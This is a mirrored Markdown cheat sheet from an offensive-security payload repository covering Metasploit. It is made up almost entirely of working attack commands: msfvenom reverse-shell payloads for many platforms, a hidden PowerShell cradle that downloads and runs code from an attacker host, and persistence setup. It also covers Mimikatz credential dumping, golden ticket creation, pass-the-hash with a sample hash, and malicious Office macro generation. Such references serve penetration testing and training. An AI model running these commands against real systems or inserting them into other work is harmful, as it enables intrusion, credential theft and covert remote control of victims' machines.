mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
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234 lines
7.1 KiB
Markdown
234 lines
7.1 KiB
Markdown
# Metasploit
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## Summary
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* [Installation](#installation)
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* [Sessions](#sessions)
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* [Background handler](#background-handler)
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* [Meterpreter - Basic](#meterpreter---basic)
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* [Generate a meterpreter](#generate-a-meterpreter)
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* [Meterpreter Webdelivery](#meterpreter-webdelivery)
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* [Get System](#get-system)
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* [Persistence Startup](#persistence-startup)
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* [Network Monitoring](#network-monitoring)
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* [Portforward](#portforward)
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* [Upload / Download](#upload---download)
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* [Execute from Memory](#execute-from-memory)
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* [Mimikatz](#mimikatz)
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* [Pass the Hash - PSExec](#pass-the-hash---psexec)
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* [Use SOCKS Proxy](#use-socks-proxy)
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* [Scripting Metasploit](#scripting-metasploit)
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* [Multiple transports](#multiple-transports)
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* [Best of - Exploits](#best-of---exploits)
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* [References](#references)
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## Installation
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```powershell
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curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
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```
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## Sessions
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```powershell
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CTRL+Z -> Session in Background
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sessions -> List sessions
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sessions -i session_number -> Interact with Session with id
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sessions -u session_number -> Upgrade session to a meterpreter
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sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
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sessions -c cmd -> Execute a command on several sessions
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sessions -i 10-20 -c "id" -> Execute a command on several sessions
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```
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## Background handler
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ExitOnSession : the handler will not exit if the meterpreter dies.
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```powershell
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screen -dRR
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sudo msfconsole
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use exploit/multi/handler
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set PAYLOAD generic/shell_reverse_tcp
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set LHOST 0.0.0.0
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set LPORT 4444
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set ExitOnSession false
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generate -o /tmp/meterpreter.exe -f exe
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to_handler
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[ctrl+a] + [d]
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```
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## Meterpreter - Basic
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### Generate a meterpreter
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```powershell
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$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
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$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
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$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
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$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
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$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
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$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
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$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
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$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
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$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
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$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
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```
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### Meterpreter Webdelivery
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Set up a Powershell web delivery listening on port 8080.
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```powershell
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use exploit/multi/script/web_delivery
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set TARGET 2
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set payload windows/x64/meterpreter/reverse_http
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set LHOST 10.0.0.1
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set LPORT 4444
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run
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```
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```powershell
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powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
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```
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### Get System
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```powershell
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meterpreter > getsystem
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...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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```
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### Persistence Startup
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```powershell
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OPTIONS:
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-A Automatically start a matching exploit/multi/handler to connect to the agent
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-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
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-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
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-S Automatically start the agent on boot as a service (with SYSTEM privileges)
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-T <opt> Alternate executable template to use
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-U Automatically start the agent when the User logs on
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-X Automatically start the agent when the system boots
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-h This help menu
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-i <opt> The interval in seconds between each connection attempt
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-p <opt> The port on which the system running Metasploit is listening
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-r <opt> The IP of the system running Metasploit listening for the connect back
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meterpreter > run persistence -U -p 4242
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```
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### Network Monitoring
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```powershell
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# list interfaces
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run packetrecorder -li
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# record interface n°1
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run packetrecorder -i 1
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```
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### Portforward
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```powershell
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portfwd add -l 7777 -r 172.17.0.2 -p 3006
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```
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### Upload / Download
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```powershell
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upload /path/in/hdd/payload.exe exploit.exe
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download /path/in/victim
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```
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### Execute from Memory
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```powershell
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execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
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```
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### Mimikatz
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```powershell
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load mimikatz
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mimikatz_command -f version
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mimikatz_command -f samdump::hashes
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mimikatz_command -f sekurlsa::wdigest
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mimikatz_command -f sekurlsa::searchPasswords
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mimikatz_command -f sekurlsa::logonPasswords full
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```
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```powershell
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load kiwi
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creds_all
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golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
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```
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### Pass the Hash - PSExec
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```powershell
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msf > use exploit/windows/smb/psexec
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msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
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msf exploit(psexec) > exploit
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SMBDomain WORKGROUP no The Windows domain to use for authentication
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SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
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SMBUser Lambda no The username to authenticate as
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```
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### Use SOCKS Proxy
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```powershell
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setg Proxies socks4:127.0.0.1:1080
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```
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## Scripting Metasploit
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Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
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Here is a simple example to script the deployment of a handler an create an Office doc with macro.
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```powershell
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use exploit/multi/handler
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set PAYLOAD windows/meterpreter/reverse_https
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set LHOST 0.0.0.0
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set LPORT 4646
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set ExitOnSession false
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exploit -j -z
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use exploit/multi/fileformat/office_word_macro
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set PAYLOAD windows/meterpreter/reverse_https
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set LHOST 10.10.14.22
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set LPORT 4646
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exploit
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```
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## Multiple transports
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```powershell
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msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
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```
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Then, in AddTransports.ps1
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```powershell
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Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
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Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
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```
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## Best of - Exploits
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* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
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* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
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## References
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* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
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* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331) |